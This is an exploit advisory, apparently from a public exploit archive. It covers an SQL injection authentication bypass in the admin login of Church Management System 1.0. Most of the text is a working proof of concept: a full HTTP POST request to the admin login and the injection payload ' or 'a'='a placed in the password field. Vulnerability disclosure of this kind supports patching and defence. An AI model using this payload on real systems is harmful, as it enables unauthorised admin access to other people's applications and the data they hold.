Church Management System 1.0 – ‘password’ SQL Injection (Authentication Bypass)
# Exploit Title: Church Management System 1.0 - 'password' SQL Injection (Authentication Bypass) # Date: 07/03/2021 # Exploit Author: Murat DEMIRCI (@butterflyhunt3r) # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html # Version: 1.0 # Tested on: Windows 10 # Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication. # Proof of Concept : 1-Go to http://target.com/cman/admin 2-Write the following payload to username and admin parameter and click login. ######################## REQUEST ############################### POST /cman/admin/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 51 Origin: http://localhost Connection: close Referer: http://localhost/cman/admin/index.php Cookie: PHPSESSID=cne5l4cs93krjqobput7nv7sjc Upgrade-Insecure-Requests: 1 username=test&password=%27+or+%27a%27%3D%27a&login= ################################################################ PAYLOAD: # username : test # password : ' or 'a'='a |